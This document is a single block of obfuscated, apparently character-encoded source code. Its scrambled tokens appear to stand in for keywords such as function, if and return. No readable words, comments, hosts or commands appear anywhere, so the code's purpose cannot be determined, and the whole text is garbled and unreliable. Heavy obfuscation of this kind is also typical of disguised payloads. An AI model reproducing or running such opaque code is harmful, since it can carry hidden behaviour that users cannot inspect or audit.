_SMG[M@XJvKJSK\^\QYANGZLv  				R#J_@[BEONv_					OHEZL#			[L]\[G		J_@[BEONv_#					T#	J_@[BEONv_		@N[KMFGKOJZ \vQGYOGYCKO_J@Pv^\QYANGZLv  #				[L]\[G		J_@[BEONv_#T#			O\GJ]@FG		NB^OAPLQ@HLZQAQDFGS_^NXD[ #		R#						@O			@N[KMFGKOJZ QAQDFGS_^NXD[ 		UU		@^v_XSYHPXKSN QAQDFGS_^NXD[ 			w 		UU		KKAEPBMEYMGE QAQDFGS_^NXD[					 				uQOuQK 	[L]\[G		###^Z]ZJEDF		i@^v_XSYHPXKSN 	KKAEPBMEYMGE QAQDFGS_^NXD[	QQ   ##^Z]ZJEDF						KKAEPBMEYMGE ^Z]ZJEDF 				^Z]ZJEDFrt					#					@O	^Z]ZJEDF				 			UU		^Z]ZJEDF				  	[L]\[G	^Z]ZJEDF#[L]\[G	#		T#						O\GJ]@FG			A]BDSX^NDO^vBSM_CZDGOY ##			R#			[L]\[G			@N[KMFGKOJZ ALQMLJ_CZDGOYrt  #T#	O\GJ]@FG	]ODXFFOB\PHLBFG^@DZNOYA #			R#@O	@^v_XSYHPXKSN @DZNOYA 					UU	@DZNOYA				 			[L]\[G			@DZNOYAPYAHOYBHLM[BBSL[MH[PYAHOYBHL#							Z]H]@J				O_O@C_PQEPZ			G\EE#					@O			O_O@C_PQEPZ			G\EE 		R#			O_O@C_PQEPZ						OHEZL#				@O			SPDBZLLFM] SPDBZLLFM]   			R####	vMM							MLO@GLMSPDBZLLFM]  								~yvjfg}lg}vm`{		MLO@GLMSPDBZLLFM]  							hkzyh}a							 #			@O	vMM				 	R###	GPZFvZ		iM@ZBvO[LLvZYHJLvMM #			@O					GPZFvZ						OHEZL					GPZFvZ					  						O_O@C_PQEPZ					][\L#T#			T#				@O	O_O@C_PQEPZ 					R#@O			SPDBZLLFM] SPDBZLLFM]   		i\YMH]LvFY]@FGSPDBZLLFM] 		@N[KMFGKOJZ  	@^v_XSYHPXKSN  H][@K\QNQQL ANGDF@A[CPOSH][@K\QN#T			LEZL@O				KKAEPBMEYMGE SPDBZLLFM]   	R#	A\DNDE]J^AD				@G] 				NL]vFY]@FGKKAEPBMEYMGE 	 ###	@O		A\DNDE]J^AD		@N[KMFGKOJZ  					A\DNDE]J^AD			  					O_O@C_PQEPZ				OHEZL#		T#							T#						@O				O_O@C_PQEPZ 		R#[L]\[G				@DZNOYA#	~y	lG]@]P	{LJF[MZ	Z@MLKH[	[LN@FG##							T#@ZN[XKKQY								 					SPDBZLLFM] 		  #@O			KKAEPBMEYMGE @DZNOYA 					@ZN[XKKQY 	[L]\[G			@DZNOYA#	@O	@^v_XSYHPXKSN @N[KMFGKOJZ @DZNOYA 	 			KKAEPBMEYMGE  					[L]\[G		@DZNOYA####		^A@EL			@^v_XSYHPXKSN @DZNOYA 						@ZN[XKKQY							  				R#	YCOFJFCO\				#				@O	@N[KMFGKOJZ @^v_XSYHPXKSN   			R#	][P	R#				YCOFJFCO\					i@^v_XSYHPXKSN [HGMFDvKP]LZ   #							T		JH]JA						}A[F^HKEL			E]GYK]v 			R##				YCOFJFCO\				#				T			JH]JA	lQJLY]@FG	E]GYK]v 						R#					YCOFJFCO\					#					T#								T#@O			@^v_XSYHPXKSN YCOFJFCO\ 				  					R#				YCOFJFCO\					@^v_XSYHPXKSN \G@X@M		][\L  #	^A@EL			SPDBZLLFM] YCOFJFCO\ 			  				YCOFJFCO\						@^v_XSYHPXKSN YCOFJFCO\ #						T#						@DZNOYA				uG					YCOFJFCO\					SPDBZLLFM] #T#				[L]\[G		@DZNOYA#			T##			O\GJ]@FG		C^v@Z@\@ACBCL@DZNOYA #		R##			@O	@N[KMFGKOJZ @DZNOYA 	UU	@^v_XSYHPXKSN @DZNOYA 											  		[L]\[G			@DZNOYA^E@SESGJHHNLXX^E@SESGJ#					DCD[LZ@BKN\_					SPDBZLLFM] KKAEPBMEYMGE 					@DZNOYA #	[L]\[G					@^v_XSYHPXKSN DCD[LZ@BKN\_ 					DCD[LZ@BKN\_			@DZNOYAPQBYCCOX]SZJQLPQBYCCOX] PQBYCCOX]PQBYCCOX]#T#O\GJ]@FG						EHOBPA]OAvHGEQBCJL #R#	DH][@Q	][HGZYFZL##	@O		@^v_XSYHPXKSN KKAEPBMEYMGE  	UU			KKAEPBMEYMGE @N[KMFGKOJZ   					[L]\[G#				@O					@^v_XSYHPXKSN GEQBCJL 				UU		GEQBCJL																UU		iSPDBZLLFM] GEQBCJL  		[L]\[G#	JH\ZHE	Z@GNEL]FG##		@O		@ZZL]nefkhezrKKAEPBMEYMGE t 	UU					KKAEPBMEYMGE nefkhezr@N[KMFGKOJZ t  	R#		nefkhezr@^v_XSYHPXKSN t								NL]vFY]@FG@N[KMFGKOJZ 		H[[HP  ###		@O			KKAEPBMEYMGE nefkhezrSPDBZLLFM] t  		nefkhezr@^v_XSYHPXKSN t								H[[HP #		T#					_CZDGOY				nefkhezrKKAEPBMEYMGE t#@DZNOYA						iKKAEPBMEYMGE GEQBCJL ###@O				KKAEPBMEYMGE @DZNOYA  	[L]\[G####		@O				SPDBZLLFM] @DZNOYA 									QJHOHQH  			@DZNOYA				C^v@Z@\@ACBCL@DZNOYA ##_CZDGOYr@^v_XSYHPXKSN GEQBCJL t				H[[HPY						GEQBCJL		A							SPDBZLLFM] @DZNOYA 			N					^NKBHS]S^NFHGH^O] 		]			SPDBZLLFM]   #							@O				SPDBZLLFM] _CZDGOY 									  		R###OF[LHJA			_CZDGOY				HZ	L\vO][CK		_BvQP[N^E 		R###						@O	@^v_XSYHPXKSN _BvQP[N^E 	UU					@ZZL]_BvQP[N^Er]t 		UU		@G] 		_BvQP[N^Er]t			SPDBZLLFM]  						  			\GZL]_CZDGOYrL\vO][CKt ####			T#								^A@EL	SPDBZLLFM] _CZDGOY 						  			R#OP^LXX[HZOXQ						G\EE#		ACSZKSJL\[F					G\EE#		OF[LHJA	_CZDGOY		HZ				L\vO][CK										_BvQP[N^E 		R#		DKFOOLJX_QCM						SPDBZLLFM] _BvQP[N^E 			@ZZL]_BvQP[N^Er]t 				@G] 		_BvQP[N^Er]t					#@O					ACSZKSJL\[F					G\EE			UU				DKFOOLJX_QCM								ACSZKSJL\[F 	R#		ACSZKSJL\[F			DKFOOLJX_QCM#		OP^LXX[HZOXQ					L\vO][CK#				T#		T#			@O			OP^LXX[HZOXQ						G\EE 				K[LHB#						\GZL]_CZDGOYrOP^LXX[HZOXQt ##	T####	T#			\YMH]LvFY]@FG@^v_XSYHPXKSN 		_CZDGOY	KKAEPBMEYMGE  #		nefkhezr@N[KMFGKOJZ t			_CZDGOY#	T#	O\GJ]@FG			\ZNQXBNHJLN[YPCN@NEGEQBCJL #	R#			@O	@N[KMFGKOJZ GEQBCJL 	UU		GEQBCJL					 		[L]\[G					OHEZL#		@O	@ZZL]nefkhezr@^v_XSYHPXKSN t 					UU		KKAEPBMEYMGE nefkhezrKKAEPBMEYMGE t  			R####				nefkhezr@N[KMFGKOJZ t							@^v_XSYHPXKSN SPDBZLLFM]  					NL]vFY]@FGKKAEPBMEYMGE 		H[[HP  			H[[HP #					@O				@^v_XSYHPXKSN nefkhezrSPDBZLLFM] t  				nefkhezr@N[KMFGKOJZ t		H[[HP #T#	yj{l	c`}	ZYLJ@HE@SL	[LYE@JH]F[###		_CZDGOY											nefkhezrKKAEPBMEYMGE t#					X]HQKXGG\GX					@N[KMFGKOJZ GEQBCJL #	@O		@ZZL]_CZDGOYrX]HQKXGG\GXt 							@^v_XSYHPXKSN _CZDGOYrX]HQKXGG\GXt 					@ZZL]_CZDGOYrX]HQKXGG\GXtrAt  	R#							@O	@G] 	iSPDBZLLFM] GEQBCJL 			  			[L]\[G			SPDBZLLFM] #@DZNOYA							i@N[KMFGKOJZ GEQBCJL #			@O					@N[KMFGKOJZ @DZNOYA  	R#	@O						@^v_XSYHPXKSN @DZNOYA 				QOLQK  					@DZNOYA						C^v@Z@\@ACBCL@DZNOYA #		[L]\[G	KKAEPBMEYMGE @DZNOYA 		_CZDGOYrX]HQKXGG\GXtrAt 			][\L					@N[KMFGKOJZ #			T#						[L]\[G		OHEZL###		T##								M_O^O_\[							i@N[KMFGKOJZ GEQBCJL			OHEZL		G\EE							  #@O		###@^v_XSYHPXKSN M_O^O_\[ 						@^v_XSYHPXKSN KKAEPBMEYMGE 	M_O^O_\[ #				QL@vJL^E^ZMBO_GEQBCJL			  #						 		R#@O	@G] 	i@N[KMFGKOJZ GEQBCJL 						  	[L]\[G		OHEZL####@DZNOYA			Z][@GN 	i@^v_XSYHPXKSN GEQBCJL #			@O		@^v_XSYHPXKSN @DZNOYA 												  						@DZNOYA				C^v@Z@\@ACBCL@DZNOYA #@O	_SMG[M@XJvKJSK\@DZNOYA  				[L]\[G	SPDBZLLFM] #		T#				[L]\[G	OHEZL###T#		O\GJ]@FG		_NHMXKGGJHF\P #R#Z]H]@J	_CZDGOY				G\EE#		@O				_CZDGOY					G\EE 		[L]\[G	_CZDGOY##				@DZNOYA								Z][@GN 		iKKAEPBMEYMGE [ZKLSD_  #						@O				@^v_XSYHPXKSN @DZNOYA 								  			@DZNOYA					C^v@Z@\@ACBCL@DZNOYA #	_CZDGOY										KKAEPBMEYMGE @DZNOYA ##	[L]\[G		_CZDGOY#T#O\GJ]@FG	D@]YD^]NEP\Ev@[GP ##					R###[L]\[G	@N[KMFGKOJZ _NHMXKGGJHF\P 					  #T#				O\GJ]@FG			JLBMDQLAMB\ ###							R#					[L]\[G				^D]]OFPX_KGKN@ 		KKAEPBMEYMGE 						FZLYYKLLEQ[\Ahkzyh}a						KKAEPBMEYMGE 	  				@^v_XSYHPXKSN #		T#	O\GJ]@FG		]EQJZAHNQK^ #			R#			FCHvNOYOCOS]			H[[HP #	@O	KKAEPBMEYMGE @^v_XSYHPXKSN   	R#	[LJ\[Z@_L	OHJ]F[P##DH\@KDSP[v						iNL]vFY]@FGSPDBZLLFM] 		H[[HP  #		@O		KKAEPBMEYMGE DH\@KDSP[v  		FCHvNOYOCOS]						DH\@KDSP[v#	~y	zYHJL[	kEFJB	YH]JA	]PYLLG_@[FGDLG]##		T#		@DZNOYA					iKKAEPBMEYMGE JLBMDQLAMB\  						i@^v_XSYHPXKSN JLBMDQLAMB\  								#				@O						KKAEPBMEYMGE @DZNOYA 							SPDBZLLFM] @DZNOYA		KKAEPBMEYMGE  					 				R#		]CvLEQ@v		@^v_XSYHPXKSN @N[KMFGKOJZ @DZNOYA			w  		][\L #	@O			@N[KMFGKOJZ ]CvLEQ@v 		LDY]PFCHvNOYOCOS]rSPDBZLLFM] t 			UU	LDY]P]CvLEQ@vr@N[KMFGKOJZ t 				]CvLEQ@vrKKAEPBMEYMGE t									FCHvNOYOCOS]rSPDBZLLFM] t   					FCHvNOYOCOS]				]CvLEQ@v#			T#		[L]\[G		FCHvNOYOCOS]#								T#		O\GJ]@FG		GY_[H^KNPNHEFGQKJX_^_ #						R#	JFG_LQ	][@L	##		][P			R#							@O				MLO@GLM@^v_XSYHPXKSN   				[L]\[G#		KXM_X^QZCF\LE						@N[KMFGKOJZ  #				@O			FGQKJX_^_				KKAEPBMEYMGE 		UU		FGQKJX_^_			KKAEPBMEYMGE  		R#Y[L_					]EQJZAHNQK^ #@O		#	@ZZL]Y[L_r@N[KMFGKOJZ t		Y[L_r@N[KMFGKOJZ t 			Y[L_r@N[KMFGKOJZ t						FGQKJX_^_####							KXM_X^QZCF\LE							@G] 		Y[L_r@N[KMFGKOJZ t						FGQKJX_^_					SPDBZLLFM] 				 						  ###	 					[L]\[G#	T#	ZLZX\@E@GLH[	Z][H]LNP##			FCHvNOYOCOS]				H[[HP##						_				^NKBHS]S^NFHGH^O] #				KKAEPBMEYMGE 							D@]YD^]NEP\Ev@[GP #	SPDBZLLFM] 				[ZKLSD_ ###SPDBZLLFM] 				KKAEPBMEYMGE [ZKLSD_ 					@^v_XSYHPXKSN  ##	@N[KMFGKOJZ 						FGQKJX_^_#		SPDBZLLFM] 						KXM_X^QZCF\LE#		@N[KMFGKOJZ 			KXM_X^QZCF\LE#@^v_XSYHPXKSN 				@ZZL]vzl{l{rKKAEPBMEYMGE t 			@G] 					vzl{l{r@N[KMFGKOJZ t					KXM_X^QZCF\LE# ###				@O		@^v_XSYHPXKSN @^v_XSYHPXKSN   				i\YMH]LvFY]@FG@^v_XSYHPXKSN 		FCHvNOYOCOS]					@N[KMFGKOJZ  #	[YBEB\JZ			^D]]OFPX_KGKN@ #	@O		iSPDBZLLFM] [YBEB\JZ 				UU			vGQBQZEPNCOHHM[YBEB\JZ			 			][\L  	R#i@N[KMFGKOJZ JLBMDQLAMB\ 			SPDBZLLFM] 				@^v_XSYHPXKSN FCHvNOYOCOS]  #							T#	T				JH]JA						}A[F^HKEL			E]GYK]v 	R#T					JH]JA		lQJLY]@FG				E]GYK]v 				R#		T#	T####	O\GJ]@FG					J\YJJLJH_G\OQFCHvNOYOCOS] #						R#						@O	@N[KMFGKOJZ FCHvNOYOCOS] 				UU		LDY]PFCHvNOYOCOS]r@N[KMFGKOJZ t 	UU	@N[KMFGKOJZ FCHvNOYOCOS]rKKAEPBMEYMGE t  		[L]\[G				@N[KMFGKOJZ #				OEKOHSDG@[F			FCHvNOYOCOS]rKKAEPBMEYMGE t#								@O					iKKAEPBMEYMGE OEKOHSDG@[F 		UU		@G] 	iKKAEPBMEYMGE OEKOHSDG@[F 			  		[L]\[G			@^v_XSYHPXKSN #@O		_CGDX^NXFO[GOEKOHSDG@[F  		[L]\[G			@N[KMFGKOJZ #			LvEON_]Hv\					@ZZL]FCHvNOYOCOS]rKKAEPBMEYMGE t 				FCHvNOYOCOS]r@N[KMFGKOJZ t									#			ZFG@XPvLZDC_							@ZZL]FCHvNOYOCOS]rKKAEPBMEYMGE t 						@G] 			FCHvNOYOCOS]r@^v_XSYHPXKSN t			###			@O	LvEON_]Hv\				@^v_XSYHPXKSN  					[L]\[G			ZFG@XPvLZDC_								SPDBZLLFM]  						ZFG@XPvLZDC_				  						KKAEPBMEYMGE 				@N[KMFGKOJZ #	@O		LvEON_]Hv\					@N[KMFGKOJZ  		[L]\[G	@N[KMFGKOJZ #	@O		LvEON_]Hv\						KKAEPBMEYMGE  		[L]\[G	ZFG@XPvLZDC_													SPDBZLLFM]  							ZFG@XPvLZDC_				QQ  				@N[KMFGKOJZ 							SPDBZLLFM] ###		[L]\[G				KKAEPBMEYMGE #					T#		O\GJ]@FG		G_JS\F^JAQ[GEQBCJL #		R#@O		iSPDBZLLFM] GEQBCJL  			[L]\[G					OHEZL##		AADEEDPN]]LF						@G] 		i@^v_XSYHPXKSN GEQBCJL #						@O	AADEEDPN]]LF							QQJ 		UU			AADEEDPN]]LF						  				[L]\[G						OHEZL##					M_O^O_\[			iKKAEPBMEYMGE GEQBCJL		OHEZL			G\EE					  #@O			SPDBZLLFM] M_O^O_\[ 					UU		KKAEPBMEYMGE @N[KMFGKOJZ 	M_O^O_\[  			[L]\[G			OHEZL#				@O	AADEEDPN]]LF				  	R#				@ZN[XKKQY						iKKAEPBMEYMGE GEQBCJL			OHEZL		G\EE		AADEEDPN]]LF					  #[L]\[G	KKAEPBMEYMGE @ZN[XKKQY 		KKAEPBMEYMGE @^v_XSYHPXKSN 					@ZN[XKKQY 					####T###			@DZNOYA								i@^v_XSYHPXKSN GEQBCJL #			@O		@N[KMFGKOJZ @DZNOYA  			[L]\[G		OHEZL#			[L]\[G		_SMG[M@XJvKJSK\@DZNOYA #	T#	O\GJ]@FG				_CGDX^NXFO[GGEQBCJL #	R#				M_XXHYC^C_SP					@^v_XSYHPXKSN GEQBCJL		@^v_XSYHPXKSN  #OF[LHJA		H[[HPKKAEPBMEYMGE GEQBCJL 	\vJHFGLF__PBZFA]G  		HZ	L[GLAFES 		R#				KCQHOv@[HHO					L[GLAFES					SPDBZLLFM] 			M_XXHYC^C_SP#			@O		i@^v_XSYHPXKSN KCQHOv@[HHO 	UU		@G] 		iKKAEPBMEYMGE KCQHOv@[HHO 			KKAEPBMEYMGE  					  	JFG]@G\L##	HOENOPA			SPDBZLLFM] Z][@GN 		iKKAEPBMEYMGE KCQHOv@[HHO  ###	@O			HOENOPA					 				JFG]@G\L###		@DZNOYA					Z][@GN 		i@N[KMFGKOJZ GEQBCJL #	@O		@N[KMFGKOJZ @DZNOYA 								  			@DZNOYA					C^v@Z@\@ACBCL@DZNOYA ###	@O		@DZNOYA												SPDBZLLFM] @DZNOYA 								HOENOPA 	[L]\[G			][\L#	T#	[L]\[G					OHEZL#T#O\GJ]@FG	[^DQ@[Z@vA_KGM@QGEQBCJL #		R#					@O			@^v_XSYHPXKSN KKAEPBMEYMGE  				UU			KKAEPBMEYMGE KKAEPBMEYMGE   					[L]\[G#				SFP[^DPQ]							iNL]vFY]@FG@^v_XSYHPXKSN 	H[[HP  #		@O			SPDBZLLFM] SFP[^DPQ]  		SFP[^DPQ]			H[[HP #	SFP[^DPQ]rKKAEPBMEYMGE GEQBCJL t					GEQBCJL#@O	@^v_XSYHPXKSN SFP[^DPQ] 				  		SFP[^DPQ]						@N[KMFGKOJZ SFP[^DPQ]				QLQ 		G\EE	][\L #		i\YMH]LvFY]@FG@N[KMFGKOJZ 	SFP[^DPQ]			@^v_XSYHPXKSN  #			T####						O\GJ]@FG				XCLJ_JSGKOP_K #R#		@O		@^v_XSYHPXKSN KKAEPBMEYMGE  					UU			@N[KMFGKOJZ @N[KMFGKOJZ   						[L]\[G#							SFP[^DPQ]			iNL]vFY]@FGKKAEPBMEYMGE 	H[[HP  #			@O		KKAEPBMEYMGE SFP[^DPQ] 		UU	LDY]PSFP[^DPQ]  	[L]\[G#		QH_FNPN			H[[HP ####	OF[LHJA	SFP[^DPQ]			HZ	L\vO][CK							OEKOHSDG@[F 					R#	@O				SPDBZLLFM] OEKOHSDG@[F 						UU			OEKOHSDG@[F								UU		iKKAEPBMEYMGE OEKOHSDG@[F  					JFG]@G\L#			@O					\ZNQXBNHJLN[YPCN@NEOEKOHSDG@[F 						OHEZL 	R		QH_FNPNrL\vO][CKt					OEKOHSDG@[F	JFG]@G\L	T##		XX]L[vEYC^\OZSZ_@JLOEKOHSDG@[F			  #@O		@PE[Z\[XJ_PLXGOEKOHSDG@[F  		R@CDZO_XN_MX[OGCHM@CDZO_XN_M#			@O	SPDBZLLFM] @^v_XSYHPXKSN   			iFYJHJALv@G_HE@MH]LOEKOHSDG@[F		][\L #			T		LEZL@O	i@N[KMFGKOJZ OEKOHSDG@[F  			R#		QH_FNPNrL\vO][CKt				OEKOHSDG@[F#				T#					T#				i\YMH]LvFY]@FG@^v_XSYHPXKSN 						QH_FNPN				@N[KMFGKOJZ  #							T#	O\GJ]@FG		H_M@]BEFDNJZvEGNO #						R#	][P	R####E]GYK]v					@N[KMFGKOJZ @N[KMFGKOJZ  				iL[[F[vNL]vEHZ] 					G\EE#					@O	#	KKAEPBMEYMGE E]GYK]v 					LDY]PE]GYK]vrSPDBZLLFM] t 			LDY]PE]GYK]vr@^v_XSYHPXKSN t #		KKAEPBMEYMGE E]GYK]vrSPDBZLLFM] t	H[[HPlvl{{f{		lvyh{zl		lvjf{lvl{{f{						lvjfdy`elvl{{f{						lv|zl{vl{{f{ 		][\L #	 					R#	SCLOCSZK_LE@					i@^v_XSYHPXKSN [ZKLSD_  #				####							vLO						i@N[KMFGKOJZ E]GYK]vrKKAEPBMEYMGE t ####						@O		KKAEPBMEYMGE SCLOCSZK_LE@ 				SPDBZLLFM] vLO 					vLO		SCLOCSZK_LE@ 		[L]\[G#		T#			GY_[H^KNPNHESPDBZLLFM]  #@O	MLO@GLMSPDBZLLFM]   	R#	D@F]YGZY								E@^NYDZ^vLY #	##	@O	i@N[KMFGKOJZ D@F]YGZYrt  					R#		^HGGDMK						iKKAEPBMEYMGE D@F]YGZYrt		OHEZL					G\EE			w  ##		@O	SPDBZLLFM] ^HGGDMK 		@^v_XSYHPXKSN ^HGGDMK		KKAEPBMEYMGE 				^NKBHS]S^NFHGH^O] 				 							 		R###\FDO]SACF					i@N[KMFGKOJZ D@F]YGZYrt				SPDBZLLFM]  											i@^v_XSYHPXKSN D@F]YGZYrt		SPDBZLLFM] 			OHEZL					G\EE			  						#@O	\FDO]SACF				^HGGDMK 					iKKAEPBMEYMGE D@F]YGZYrt			D@F]YGZYrt						@N[KMFGKOJZ  #		T#		T#	\GZL]D@F]YGZY		^HGGDMK		\FDO]SACF #								T#			T					JH]JA		}A[F^HKEL	CKH_M_GGYXKB 			R#							T					JH]JA	lQJLY]@FG	CKH_M_GGYXKB 	R#T#T#	O\GJ]@FG		S^]LG\QHEAJMYPS]_]YAEMZK #				R####@O	@N[KMFGKOJZ ]_]YAEMZK  			[L]\[G				#	@O	KKAEPBMEYMGE KKAEPBMEYMGE 	]_]YAEMZK		_^PKPMKYB@N  		R#				OF[LHJA		_^PKPMKYB@Nrt					HZ		SKY]YQ\@K 			R#	@O	NB^OAPLQ@HLZ@N[KMFGKOJZ SKY]YQ\@K				][\L   						[L]\[G	#						T#			T####@O		KKAEPBMEYMGE SPDBZLLFM] 	]_]YAEMZK				_^PKPMKYB@N  				R#					OF[LHJA	_^PKPMKYB@Nrt		HZ					SKY]YQ\@K 	R#				@O	NB^OAPLQ@HLZZ][@YJZEHZALZSKY]YQ\@K   			[L]\[G				#	@O		@^v_XSYHPXKSN SKY]YQ\@K			@N[KMFGKOJZ  			OHEZL 	RFE]^@E\PHyayvdhcf{vl{z`fgPPAPDK\KB\FE]^@E\PH#				EHMQPZCLZMv					Y[LNv[LYEHJLvJHEEKHJB@^v_XSYHPXKSN 	@^v_XSYHPXKSN 				SKY]YQ\@K #@O						SPDBZLLFM] EHMQPZCLZMv 		EHMQPZCLZMv					SKY]YQ\@K				NB^OAPLQ@HLZEHMQPZCLZMv  		[L]\[G			#		T#						T#	T#		@O	@N[KMFGKOJZ @N[KMFGKOJZ 		]_]YAEMZK		_^PKPMKYB@N  			R###OF[LHJA					_^PKPMKYB@Nrt		HZ			SKY]YQ\@K 	R###	@O	NB^OAPLQ@HLZ@^v_XSYHPXKSN H[[HP@^v_XSYHPXKSN 		@N[KMFGKOJZ  		H[[HPuu	u 		SKY]YQ\@K   		[L]\[G	####	@O		SPDBZLLFM] SKY]YQ\@K		KKAEPBMEYMGE  			OHEZL 			R#EHMQPZCLZMv								Y[LNv[LYEHJLvJHEEKHJBKKAEPBMEYMGE 			KKAEPBMEYMGE 	SKY]YQ\@K #			@O			@N[KMFGKOJZ EHMQPZCLZMv 				EHMQPZCLZMv							SKY]YQ\@K								NB^OAPLQ@HLZEHMQPZCLZMv  				[L]\[G						####						T#			T#	T#[L]\[G		]_]YAEMZK#T#O\GJ]@FG		^K[DE^CJM[X_Q^\QYANGZLv #				R#		@O		@N[KMFGKOJZ ^\QYANGZLv 	UU		@N[KMFGKOJZ ^\QYANGZLv			KKAEPBMEYMGE  							OHEZL							@N[KMFGKOJZ ^\QYANGZLv			SPDBZLLFM]  				OHEZL  	[L]\[G						OHEZL####			@O		@N[KMFGKOJZ KKAEPBMEYMGE 	^\QYANGZLv	_^PKPMKYB@N  	R###OF[LHJA			_^PKPMKYB@Nrt				HZ				SKY]YQ\@K 			R#			@O	NB^OAPLQ@HLZSPDBZLLFM] SKY]YQ\@K				][\L   	[L]\[G		][\L#		T#	T#@O		@^v_XSYHPXKSN @N[KMFGKOJZ 		^\QYANGZLv				_^PKPMKYB@N  				R##	OF[LHJA					_^PKPMKYB@Nrt			HZ		SKY]YQ\@K 				R#		@O				NB^OAPLQ@HLZZ][@YJZEHZALZSKY]YQ\@K   	[L]\[G				][\L#T#	i]@DLF\]	OEP^L@NA]##	OF[LHJA		_^PKPMKYB@Nrt		HZ	SKY]YQ\@K 	R####				@O			SPDBZLLFM] SKY]YQ\@K	KKAEPBMEYMGE  					OHEZL 			JFG]@G\L###EHMQPZCLZMv					Y[LNv[LYEHJLvJHEEKHJB@^v_XSYHPXKSN 		SPDBZLLFM] 						SKY]YQ\@K #				@O			KKAEPBMEYMGE EHMQPZCLZMv 				EHMQPZCLZMv					SKY]YQ\@K				NB^OAPLQ@HLZEHMQPZCLZMv  		[L]\[G	][\L#	T#		T#					@O	SPDBZLLFM] SPDBZLLFM] 					^\QYANGZLv					_^PKPMKYB@N  					R###						OF[LHJA	_^PKPMKYB@Nrt				HZ		SKY]YQ\@K 	R##	@O	NB^OAPLQ@HLZKKAEPBMEYMGE H[[HP@N[KMFGKOJZ 			KKAEPBMEYMGE  		H[[HPuu	u 			SKY]YQ\@K   				[L]\[G		][\L###		T#				OF[LHJA					_^PKPMKYB@Nrt			HZ					SKY]YQ\@K 	R#	@O			SPDBZLLFM] SKY]YQ\@K		KKAEPBMEYMGE  				OHEZL 		JFG]@G\L#	EHMQPZCLZMv		Y[LNv[LYEHJLvJHEEKHJBSPDBZLLFM] 	SPDBZLLFM] 	SKY]YQ\@K #@O			@^v_XSYHPXKSN EHMQPZCLZMv 								EHMQPZCLZMv										SKY]YQ\@K				NB^OAPLQ@HLZEHMQPZCLZMv  				[L]\[G			][\L##T#T#					[L]\[G				OHEZL###			T#	O\GJ]@FG		[FB]XFO_^S^\QYANGZLv #			RBKPCS@UK[DO_^vKFBKPCS@w####						@O			@^v_XSYHPXKSN ^\QYANGZLv 		UU	^\QYANGZLv							 	[L]\[G	#			[L]\[G	@N[KMFGKOJZ @N[KMFGKOJZ 		SPDBZLLFM] ^\QYANGZLv				  				_CZDGOY  			_CZDGOYrt					#T#	O\GJ]@FG	@M\[^SLG]QQBQQ@DZNOYA			B[DP^QLPDv[FCQ	_EZOAMvCSX			G\EE #RCJA[AC@EHMHZ\^KCCJA[AC@ CJA[AC@CJA[AC@#					@O			@^v_XSYHPXKSN @DZNOYA 		UU	@DZNOYA							 		[L]\[G		@DZNOYA#	HNCCSHGZ^A_DFE							KKAEPBMEYMGE 			B[DP^QLPDv[FCQ								@N[KMFGKOJZ #	[@SJ_CSFAXGMQvQ		#			BOAACvEYOKN				#				^A@EL			BOAACvEYOKN										  					R#							[MHEJFO							@^v_XSYHPXKSN @DZNOYA	HNCCSHGZ^A_DFE #@O	[MHEJFO				OHEZL 			K[LHB#		^Z]ZJEDF				[MHEJFO							KKAEPBMEYMGE HNCCSHGZ^A_DFE #		JMNZMHG^M]			KKAEPBMEYMGE @DZNOYA		@N[KMFGKOJZ 		^Z]ZJEDF #				@O			JMNZMHG^M]				OHEZL			UU					JMNZMHG^M]							^Z]ZJEDF					w  		R#					[@SJ_CSFAXGMQvQ					KKAEPBMEYMGE @DZNOYA					^Z]ZJEDF ##				@DZNOYA							@^v_XSYHPXKSN @DZNOYA		^Z]ZJEDF #JFG]@G\L#							T#					O_H@GEPZC						@N[KMFGKOJZ @DZNOYA			^Z]ZJEDF		JMNZMHG^M]			^Z]ZJEDF #	##				@O				@^v_XSYHPXKSN KKAEPBMEYMGE 	O_H@GEPZC  			R#			[@SJ_CSFAXGMQvQ				@^v_XSYHPXKSN @DZNOYA					^Z]ZJEDF #	@DZNOYA							KKAEPBMEYMGE @DZNOYA			^Z]ZJEDF #JFG]@G\L#				T#L@N@XZX								@^v_XSYHPXKSN 			B[DP^QLPDv[FCQ				@^v_XSYHPXKSN 			O_H@GEPZC				@N[KMFGKOJZ #			POBDJLP@SM^J						@N[KMFGKOJZ @DZNOYA		L@N@XZX			JMNZMHG^M] #			@O	POBDJLP@SM^J					OHEZL 	K[LHB##				[@SJ_CSFAXGMQvQ					SPDBZLLFM] @DZNOYA							[MHEJFO #							O_OYMHM_DL					@N[KMFGKOJZ @DZNOYA			[MHEJFO				POBDJLP@SM^J			KKAEPBMEYMGE L@N@XZX 					[MHEJFO #		@O		_EZOAMvCSX			G\EE 				R#								YCOFJFCO\			@N[KMFGKOJZ _EZOAMvCSX			O_OYMHM_DL #@O		SPDBZLLFM] YCOFJFCO\  		[@SJ_CSFAXGMQvQ			YCOFJFCO\###	T	LEZL			R#	[@SJ_CSFAXGMQvQ										O_OYMHM_DLHBPZ^OESvYXyayvdhcf{vl{z`fgHDXNJQAHBPZ^OESvYX##						T#@DZNOYA		@N[KMFGKOJZ @DZNOYA				POBDJLP@SM^J						@N[KMFGKOJZ L@N@XZX  #	##	T##	[L]\[G		[@SJ_CSFAXGMQvQ								@DZNOYA###	T#		O\GJ]@FG			NXZD@CEJMZ\@C]_]YAEMZK #R###	[L]\[G	#	##					T#		O\GJ]@FG			G_MBD\S]JYM]_]YAEMZK #			R##	@O	SPDBZLLFM] ]_]YAEMZK  		[L]\[G	###	@O	MLO@GLMKKAEPBMEYMGE   		[L]\[G	]_]YAEMZK#	BPEGMCCP				FZLYYKLLEQ[\Ahkzyh}a						SPDBZLLFM] 					  #						@O						KKAEPBMEYMGE KKAEPBMEYMGE 			BPEGMCCP					SPDBZLLFM] 	]_]YAEMZK  				[L]\[G	#		[L]\[G					]_]YAEMZK#			T#	O\GJ]@FG					_vCY[CYPXM@@DZNOYA #R#@O		@^v_XSYHPXKSN @DZNOYA 			UU				@DZNOYA					 	[L]\[G			@DZNOYA#			DCD[LZ@BKN\_			@M\[^SLG]QQBQQ@DZNOYA			KKAEPBMEYMGE 		SPDBZLLFM]  #				DCD[LZ@BKN\_				@M\[^SLG]QQBQQDCD[LZ@BKN\_	SPDBZLLFM] 		@^v_XSYHPXKSN  #			@O			KKAEPBMEYMGE DCD[LZ@BKN\_  	DCD[LZ@BKN\_				KKAEPBMEYMGE KKAEPBMEYMGE 									DCD[LZ@BKN\_ ####	@O			@N[KMFGKOJZ DCD[LZ@BKN\_  						DCD[LZ@BKN\_			@DZNOYAN_LNNLNHPSAyayv`g}vdhqyayv`g}vdhqKOZZXS\G\vN_LNNLNHPSA